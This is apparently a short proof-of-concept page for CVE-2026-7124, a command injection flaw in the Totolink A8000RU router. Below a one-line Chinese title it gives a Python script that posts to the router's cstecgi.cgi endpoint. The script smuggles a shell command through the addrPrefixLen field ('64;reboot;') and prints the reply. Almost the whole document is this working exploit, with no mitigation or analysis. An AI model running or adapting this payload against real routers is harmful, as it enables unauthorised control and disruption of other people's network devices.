CVE-2026-7124 Totolink A8000RU 远程命令注入漏洞

import requests # Target IP address of the vulnerable router target_ip = "192.168.0.1" url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Vulnerable payload: addrPrefixLen is used in a system command without sanitization # Example payload to execute a simple command (e.g., reboot or create a file) # Using a semicolon to chain commands payload_data = { "topicurl": "setIpv6LanCfg", "addrPrefixLen": "64;reboot;" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(url, data=payload_data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except requests.exceptions.RequestException as e: print(f"Error occurred: {e}")